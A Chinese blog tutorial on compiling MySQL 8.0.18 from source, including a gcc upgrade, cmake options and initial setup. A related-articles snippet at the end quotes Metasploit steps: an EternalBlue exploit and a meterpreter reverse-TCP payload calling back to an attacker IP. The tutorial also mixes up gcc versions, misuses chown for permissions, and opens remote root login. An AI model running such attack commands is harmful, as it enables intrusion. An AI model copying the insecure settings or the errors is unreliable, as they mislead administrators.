当前位置: 首页 > news >正文

MySQL——源码安装教程(初版)

MySQL

  • 一、MySQL的安装
    • 1、RPM
    • 2、二进制
    • 3、源码
  • 二、源码安装方式
  • 三、安装过程
    • 1、上传源码包
    • 2、解压当前文件并安装更新依赖
    • 3、对MySQL进行编译安装

一、MySQL的安装

首先这里我来介绍下MySQL的几种安装方式:
一共三种,RPM安装包、二进制包安装以及源码安装
当然,不同的安装方式也有优缺点,下面分别介绍下:

1、RPM

优点: 安装简单,适合初学者学习使用
缺点: 需要单独下载客户端和服务器;安装路径不灵活,默认路径不能修改,一台服务器只能安装一个版本的MySQL软件。
文件布局:

/usr/bin (客户端程序和脚本)
/usr/sbin (mysqld服务器)
/var/lib/mysql (日志文件和数据库)
/usr/share/man (Linux 文档页)
/usr/include/mysql (包含()文件)
/usr/lib/mysql (库文件)
/usr/share/mysql (错误信息和字符集文件)

2、二进制

优点: 安装简单;灵活性好;单台服务器可以安装多个版本的 MySQL 软件。
缺点: 已经经过编译,性能不如源码编译得好;不能灵活定制编译参数。
文件布局:

bin (客户端程序、mysqld服务器和实用程序)
docs (文档)
man (Linux 文档页)
include (包含()文件)
lib (库文件)
share (错误消息和字典、安装数据库的SQL文件)
support-files (其他支持文件)

3、源码

优点: 与平台无关,可按需定制编译,最灵活;性能最好;单台服务器可以安装多个版本的 MySQL 软件。
缺点: 安装过程较复杂;编译时间长
文件布局:

bin (客户端程序、mysqld服务器和实用程序)
docs (文档)
man (Linux 文档页)
include (包含()文件)
lib (库文件)
share (错误消息和字典、安装数据库的SQL文件)
support-files (其他支持文件)

这里如果想要使用RPM或者二进制安装方式,可以参考如下链接文章:https://blog.csdn.net/weixin_63172698/article/details/132559298?spm=1001.2014.3001.5501
二进制与源码的本质安装区别在于,源码安装多了:源代码程序编译参数配置、编译和安装二进制的过程,然而最耗时的就是这三步,下面我们来介绍源码安装方式。

二、源码安装方式

首先咱们介绍下源码安装方式与其他两种安装方式的区别,即为什么要使用源码安装方式?
按需定制编译,最灵活;性能最好,这三点是最重要的原因之一,以及可以安装到自己想要安装的目录、并且支持单台服务器安装多个版本的MySQL。
就比如官网直接下载下来的二进制安装包是按照一般情况下配置好了编译的默认参数,有些默认编译配置可能并不是想要的,这时就要在编译阶段按需自定义编译参数,制定符合自己需求的二进制MySQL安装包,如:只编译支持utf8mb4编码。
对于安装方式的选择:
这里不想安装最简单却不够灵活的RPM包,又不想暗黄复杂费时的源码包的情况下建议选择二进制安装。
当然对数据库性能要求高,同时能够灵活地定制编码参数选项地情况建议选择源码安装。

三、安装过程

首先我介绍下我目前演示地安装环境:
这里建议硬盘40G以上,运存4G,具体看自己电脑情况而定,20G大概率不够用。
在这里插入图片描述
在这里插入图片描述
首先,将Mysql对应版本的源码包下载下来:
在这里插入图片描述
网站地址:https://downloads.mysql.com/archives/community/
这里建议使用迅雷进行下载安装。

1、上传源码包

这里我使用的是termius远程连接工具,当然,这里也可以使用其他的,比如:xshell、moba等等,这里就不一一介绍了,主要是为了通过xftp将本机与虚拟机进行连接,然后实现文件的传输。
这里为termius上传文件过程:
首先更改路径找到自己的包
在这里插入图片描述
在这里插入图片描述
找到要进行文件传输的虚拟机进行建立连接:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里即可看到已经成功建立了连接。
在这里插入图片描述
在这里插入图片描述
这里等待下面进度条完成。
在这里插入图片描述
在这里插入图片描述
这里可以看到文件传输完毕。
当然使用别的远程连接工具进行文件传输的原理是一样的,同样是先使用xftp建立连接,这里就不具体细讲了。

2、解压当前文件并安装更新依赖

在这里插入图片描述
这里我们就可以看到已经上传好的文件。
接着我们进行解压文件:

[root@localhost src]# tar -zxvf mysql-boost-8.0.18.tar.gz

在这里插入图片描述
这里可以看到解压之后文件特别多:
在这里插入图片描述
接下来在进行编译之前我们首先下载它的依赖:

[root@localhost ~]# yum install -y cmake3 git gcc-c++ ncurses-devel perl-Data-Dumper boost boost-doc boost-devel bzip2 openssl-devel libtirpc-devel.x86_64

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由于编译MySQL时对gcc的版本要求是5.3以上,所以我们需要先升级一下gcc的版本,因为yum安装目前最新版本只到4.8.5。
升级gcc版本的方式主要有两种,一种是下载源码包进行编译安装,一种是使用yum安装devtoolset包,目前devtoolset包里的gcc版本为5.3.1。
而源码安装的方式比较灵活可以选择任意版本,但非常耗时。这里两种方式都会介绍,可以自行视情况选择。这里我们即可看到:
在这里插入图片描述
这里使用源码进行安装gcc新版:
这里直接自带了gcc的9.2.0的源码包,所以直接用,如果没有自带,则自行进行下载:

wget http://ftp.gnu.org/gnu/gcc/gcc-9.1.0/gcc-9.1.0.tar.gz

如果自带了,直接进行解压即可:

[root@localhost /usr/local/src]# tar -xzvf gcc-9.1.0.tar.gz

在这里插入图片描述
在这里插入图片描述
这里即可看到源码解压完毕:
下一步我们进入解压后的目录,运行download_prerequisites脚本,该脚本会自动下载编译时所需要的依赖文件和库:

[root@localhost /usr/local/src]# cd gcc-9.2.0
[root@localhost /usr/local/src/gcc-9.2.0]# ./contrib/download_prerequisites

在这里插入图片描述
在这里插入图片描述
这里即可看到执行完毕。
接下来我们建立输出目录,将所有的中间文件都放到该目录下:

[root@localhost /usr/local/src/gcc-9.2.0]# mkdir gcc-build-9.2.0

下面我们进入新建的目录,并完成编译配置:

[root@localhost /usr/local/src/gcc-9.2.0]# cd gcc-build-9.2.0
[root@localhost /usr/local/src/gcc-9.2.0/gcc-build-9.2.0]# ../configure -enable-checking=release -enable-languages=c,c++ -disable-multilib

在这里插入图片描述
在这里插入图片描述
参数说明:

  • –enable-languages:让gcc支持哪些语言
  • –disable-multilib:不生成编译为其他平台可执行代码的交叉编译器
  • –disable-checking:生成的编译器在编译过程中不做额外检查,也可以使用–enable-checking=xxx来增加一些检查

下面进行接着就可以进行编译安装了:

[root@localhost /usr/local/src/gcc-9.2.0/gcc-build-9.2.0]# make && make install

这一步耗时会比较久,大概1-2个小时······
在这里插入图片描述
倒数第二步:创建软件链接,覆盖/usr/bin下的gcc相关命令,因为编译MySQL时默认会去/usr/bin目录下找gcc相关的命令:

[root@localhost ~]# ln -sf /usr/local/bin/* /usr/bin/

最后验证一下gcc版本是否为9.2.0,如下代表安装成功:

[root@localhost ~]# gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/local/libexec/gcc/x86_64-pc-linux-gnu/9.1.0/lto-wrapper
Target: x86_64-pc-linux-gnu
Configured with: ../configure -enable-checking=release -enable-languages=c,c++ -disable-multilib
Thread model: posix
gcc version 9.2.0 (GCC)
[root@localhost ~]#

在这里插入图片描述
到这一步其实mysql具体安装配置还没开始······

3、对MySQL进行编译安装

  • 1、进入解压后的目录,参照如下命令步骤完成编译安装:
# 创建数据文件存放目录
[root@localhost /usr/local/src]# mkdir -p /data/mysql
[root@localhost /usr/local/src]# cd mysql-8.0.18/

在这里插入图片描述

# 新建目录,存放编译产生的中间文件。因为不允许在源码目录下进行编译
[root@localhost /usr/local/src/mysql-8.0.18]# mkdir builder
[root@localhost /usr/local/src/mysql-8.0.18]# cd builder/
[root@localhost /usr/local/src/mysql-8.0.18/builder]# cmake3 ../ -DCMAKE_INSTALL_PREFIX=/usr/local/mysql -DMYSQL_DATADIR=/data/mysql -DSYSCONFDIR=/etc -DMYSQL_USER=mysql -DWITH_MYISAM_STORAGE_ENGINE=1 -DWITH_INNOBASE_STORAGE_ENGINE=1 -DMYSQL_UNIX_ADDR=/tmp/mysql.sock -DMYSQL_TCP_PORT=3306 -DEXTRA_CHARSETS=all -DDEFAULT_CHARSET=utf8mb4 -DDEFAULT_COLLATION=utf8mb4_general_ci -DWITH_DEBUG=0 -DMYSQL_MAINTAINER_MODE=0 -DWITH_SYSTEMD=1 -DDOWNLOAD_BOOST=1 -DWITH_BOOST=../boost
[root@localhost /usr/local/src/mysql-8.0.18/builder]# make && make install

在这里插入图片描述
在这里插入图片描述
编译安装会比较耗时,大概1-2个小时······
在这里插入图片描述
cmake3命令所使用的参数说明:

  • -DCMAKE_INSTALL_PREFIX=/usr/local/mysql:MySQL安装的根目录
  • -DMYSQL_DATADIR=/data/mysql:数据文件所存放的目录
  • -DSYSCONFDIR=/etc :MySQL配置文件所在目录
  • -DMYSQL_USER=mysql:MySQL服务的用户名
  • -DWITH_MYISAM_STORAGE_ENGINE=1:安装MyISAM引擎
  • -DWITH_INNOBASE_STORAGE_ENGINE=1:安装InnoDB引擎
  • -DWITH_ARCHIVE_STORAGE_ENGINE=1:安装Archive引擎
  • -DWITH_MEMORY_STORAGE_ENGINE=1:安装Memory引擎
  • -DWITH_FEDERATED_STORAGE_ENGINE=1:安装Federated引擎
  • -DWITH_PARTITION_STORAGE_ENGINE=1:安装Partition引擎
  • -DWITH_READLINE=1:MySQL的readline library
  • -DMYSQL_UNIX_ADDR=/tmp/mysql.sock:sock文件的路径
  • -DMYSQL_TCP_PORT=3306 :MySQL的监听端口
  • -DENABLED_LOCAL_INFILE=1:启用加载本地数据
  • -DENABLE_DOWNLOADS=1:编译时允许自主下载相关文件
  • -DEXTRA_CHARSETS=all :使MySQL支持所有的扩展字符
  • -DDEFAULT_CHARSET=utf8mb4:设置默认字符集为utf8mb4
    -DDEFAULT_COLLATION=utf8mb4_general_ci:设置默认字符校对
  • -DWITH_DEBUG=0:禁用调试模式
  • -DMYSQL_MAINTAINER_MODE=0:是否启用mysql维护器特定的开发环境
  • -DDOWNLOAD_BOOST=1:允许在线更新boost库
  • -DWITH_BOOST=…/boost:指定boost安装路径

具体参考官方文档:
https://dev.mysql.com/doc/refman/8.0/en/source-configuration-options.html

  • 2、编译安装完成后,创建mysql用户及更改相应目录的属主:
[root@localhost ~]# groupadd mysql
[root@localhost ~]# useradd -M -g mysql -s /sbin/nologin mysql
[root@localhost ~]# chown -R mysql:mysql /usr/local/mysql/
[root@localhost ~]# chown -R mysql:mysql /data/mysql/
  • 3、编辑配置文件:
[root@localhost ~]# vim /etc/my.cnf
[mysqld]
basedir=/usr/local/mysql
datadir=/data/mysql
socket=/tmp/mysql.sock[mysqld_safe]
log-error=/var/log/mysqld/mysqld.log
pid-file=/var/run/mysqld/mysql.pid
  • 4、创建日志文件存放的目录和pid文件存放的目录,并赋权给mysql用户:
[root@localhost ~]# mkdir -p /var/log/mysqld /var/run/mysqld
[root@localhost ~]# chown -R mysql:mysql /var/log/mysqld
[root@localhost ~]# chown -R mysql:mysql /var/run/mysqld
  • 5、配置环境变量,方便使用MySQL的命令:
[root@localhost ~]# vim /etc/profile
export MYSQL_HOME=/usr/local/mysql
export PATH=$PATH:$MYSQL_HOME/bin
[root@localhost ~]# source /etc/profile
[root@localhost ~]# mysql --version  # 验证配置是否成功
mysql  Ver 8.0.18 for Linux on x86_64 (Source distribution)
[root@localhost ~]#
  • 6、执行如下命令初始化数据库:
[root@localhost ~]# mysqld --initialize --user=mysql --basedir=/usr/local/mysql/ --datadir=/data/mysql

初始化成功后会生成root账户的默认密码。
将该密码复制并保存,因为后面需要使用该密码登录到MySQL中修改密码。

  • 7、将MySQL生成的启动文件复制到/usr/lib/systemd/system/目录下:
[root@localhost ~]# cp /usr/local/src/mysql-8.0.18/builder/scripts/mysqld.service /usr/lib/systemd/system/
[root@localhost ~]# chown 775 /usr/lib/systemd/system/mysqld.service
  • 8、查看3306端口是否已正常监听:
[root@localhost ~]# netstat -lntp |grep 3306
tcp6       0      0 :::33060                :::*                    LISTEN      27363/mysqld
tcp6       0      0 :::3306                 :::*                    LISTEN      27363/mysqld
[root@localhost ~]#
  • 9、使用默认密码登录MySQL,并重置密码及开放远程登录:
[root@localhost ~]# mysql -uroot -pmXyfy/g8\)aus
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'your_password';  # 重置密码
mysql> use mysql;
mysql> update user set host ='%' where user='root';  # 开放远程登录
mysql> FLUSH PRIVILEGES;  # 刷新修改

到这里,那么MySQL源码安装已经配置完毕即可使用。

相关文章:

MySQL——源码安装教程(初版)

MySQL 一、MySQL的安装1、RPM2、二进制3、源码 二、源码安装方式三、安装过程1、上传源码包2、解压当前文件并安装更新依赖3、对MySQL进行编译安装 一、MySQL的安装 首先这里我来介绍下MySQL的几种安装方式: 一共三种,RPM安装包、二进制包安装以及源码安…...

1.1.C++项目:仿muduo库实现并发服务器之any类的设计

文章目录 一、思想二、框架三、代码 一、思想 每⼀个Connection对连接进行管理,最终都不可避免需要涉及到应用层协议的处理,因此在Connection中需要设置协议处理的上下文来控制处理节奏。但是应用层协议千千万,为了降低耦度,这个…...

linux项目启动脚本start.sh和stop.sh停止脚本

start脚本示例 MAIN_CLASSCLASSPATH.;JVM_PARMS""export APP_HOME$(dirname $(pwd))export APP_APPS$APP_HOME/appsexport APP_RESOURCES$APP_HOME/confexport APP_LIB$APP_HOME/libexport APP_LOG$APP_HOME/logs;export APP_NAME$(basename $APP_HOME)function mak…...

Avalonia常用小控件Svg

1.项目下载地址:https://gitee.com/confusedkitten/avalonia-demo 2.UI库Semi.Avalonia,项目地址 https://github.com/irihitech/Semi.Avalonia 3.SVG库,Avalonia.Svg.Skia,项目地址 https://github.com/wieslawsoltes/Svg.Ski…...

设计模式-行为型模式

文章目录 一、模板方法模式二、策略模式三、命令模式四、责任链模式五、状态模式六、观察者模式七、中介者模式八、迭代器模式九、访问者模式十、备忘录模式十一、解释器模式 一、模板方法模式 定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中&#xff0…...

【EventLoop】问题一次搞定

📍 JS的事件循环机制恐怕是大多数前端开发者头顶上的一座大山之一,最近通过拜读两篇文档,对eventloop进行了深刻的理解;通过这篇文档对要点进行总结; article1: 波神的这篇eventLoop文章适合反复重温&…...

Unity中Shader光照模型Phong

文章目录 前言一、Phong光照模型二、图示解释Phone光照模型1、由图可得,R 可以由 -L 加上 P 得出2、P等于2*M3、因为 N 和 L 均为单位向量,所以 M 的模可以由 N 和 L得出4、得到M的模后,乘以 单位向量N,得到M5、最后得出 P 和 R 前…...

消息队列缓存,以蓝牙消息服务为例

前言 消息队列缓存,支持阻塞、非阻塞模式;支持协议、非协议模式 可自定义消息结构体数据内容 使用者只需设置一些宏定义、调用相应接口即可 这里我用蓝牙消息服务举例 有纰漏请指出,转载请说明。 学习交流请发邮件 1280253714qq.com 原…...

MSF派生给另外MSF,meterpreter派生给另外meterpreter,Metasploit

首先是通过ms17_010永恒之蓝拿下shell,192.168.50.146为受害者靶机,192.168.50.130为kali的ip set autorunscript post/windows/manage/migrate nameservices.exe set payload windows/x64/meterpreter/reverse_tcp set lport 5577 set lhost 192.168.50.130 use exploit/windo…...

【LeetCode】1.两数之和

目录 1 问题2 答案2.1 枚举法 (自己写的)2.2 哈希表 3 问题 1 问题 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应…...

3. Windows下C++/MFC调用hiredis库操作redis示例

一、头文件目录 将之前下载和编译好的Redis目录拷贝到新建好的工程目录下面,再点击测试工程的右键/属性,点击C/常规,附加包含目录添加以下路径,注意如果原先有多个路径,在末尾处添加分号后再粘贴: 点击C/常…...

200、使用默认 Exchange 实现 P2P 消息 之 消息生产者(发送消息) 和 消息消费者(消费消息)

RabbitMQ 工作机制图: Connection: 代表客户端(包括消息生产者和消费者)与RabbitMQ之间的连接。 Channel: 连接内部的Channel。channel:通道 Exchange: 充当消息交换机的组件。 Queue&#xff…...

SqlServer--get 和 post 请求 http接口

1. 开启 不开启报错 如下 4.1 SQL Server blocked access to procedure ‘sys.sp_OACreate’ sp_configure show advanced options, 1;GORECONFIGURE;GOsp_configure Ole Automation Procedures, 1;GORECONFIGURE;GO2. post Declare ServiceUrl nvarchar(MAX) Declare req_…...

利用人工智能提升企业培训的个性化体验

随着科技的不断进步,人工智能(AI)正逐渐渗透到各个领域。而在企业培训领域,人工智能也展现出了巨大的潜力。利用人工智能技术的企业培训系统,企业可以为员工提供个性化、高效的培训体验,进一步提升他们的专…...

基于JavaWeb的图书售卖网站(源码+部署+LW)

项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。今天给大家介绍一篇基于JavaWeb的图书售卖网…...

Java设计模式之代理模式

代理模式是一种结构型设计模式,它允许通过创建一个代理对象来控制对另一个对象的访问。代理模式在软件开发中经常被使用,它可以提供额外的功能,例如远程访问、延迟加载、访问控制和日志记录等。 代理模式涉及三个主要角色: 抽象…...

Oracle数据泵导入和导出命令

–管理员方式登录,新建表空间和用户,并建立文件夹映射路径并授权 CREATE DIRECTORY directory_name AS ‘path_to_directory’; grant read,write on directory directory to backup ** —EXPDP多线程备份数据库脚本–dblink–可以修改为命令行 echo …...

Linux中所有环境变量配置文件及用途

在Linux系统中,有多个文件可以用来配置环境变量,这些文件位于不同的目录和层级,并可以用于不同的目的。以下是一些常见的环境变量配置文件: 系统级环境变量文件: /etc/environment:这个文件包含了系统范围的…...

一文读懂flutter线程: 深入了解Flutter中的多线程编程

深入了解Flutter中的多线程编程 前言一、为什么需要多线程?二、在Flutter中创建线程三、多线程的最佳实践四、Flutter中的多线程示例五、Flutter中的多线程错误处理六、Flutter中的多线程性能优化七、安全性和隐私考虑八、跨平台性考虑 总结 前言 在移动应用开发领域…...

如何限制word文件中部分内容无法编辑

工作中我们经常会用到Word制作一些文件,文件中有一部分内容不想他人编辑,我们可以设置限制编辑,可以对一部分内容设置限制编辑,具体方法如下: 我们将需要将可以编辑的地方选中,然后打开限制编辑功能 然后勾…...

KubeSphere 容器平台高可用:环境搭建与可视化操作指南

Linux_k8s篇 欢迎来到Linux的世界,看笔记好好学多敲多打,每个人都是大神! 题目:KubeSphere 容器平台高可用:环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...

XML Group端口详解

在XML数据映射过程中,经常需要对数据进行分组聚合操作。例如,当处理包含多个物料明细的XML文件时,可能需要将相同物料号的明细归为一组,或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码,增加了开…...

ubuntu搭建nfs服务centos挂载访问

在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...

如何在看板中体现优先级变化

在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...

蓝桥杯 2024 15届国赛 A组 儿童节快乐

P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡,轻快的音乐在耳边持续回荡,小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下,六一来了。 今天是六一儿童节,小蓝老师为了让大家在节…...

React19源码系列之 事件插件系统

事件类别 事件类型 定义 文档 Event Event 接口表示在 EventTarget 上出现的事件。 Event - Web API | MDN UIEvent UIEvent 接口表示简单的用户界面事件。 UIEvent - Web API | MDN KeyboardEvent KeyboardEvent 对象描述了用户与键盘的交互。 KeyboardEvent - Web…...

使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台

🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型(LLM)的广泛应用,开发者常面临多个挑战: 各大模型(OpenAI、Claude、Gemini、Ollama)接口风格不统一;缺乏一个统一平台进行模型调用与测试;本地模型 Ollama 的集成与前…...

QT3D学习笔记——圆台、圆锥

类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体(对象或容器)QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质(定义颜色、反光等)QFirstPersonC…...

【无标题】路径问题的革命性重构:基于二维拓扑收缩色动力学模型的零点隧穿理论

路径问题的革命性重构:基于二维拓扑收缩色动力学模型的零点隧穿理论 一、传统路径模型的根本缺陷 在经典正方形路径问题中(图1): mermaid graph LR A((A)) --- B((B)) B --- C((C)) C --- D((D)) D --- A A -.- C[无直接路径] B -…...

通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器

拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件: 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...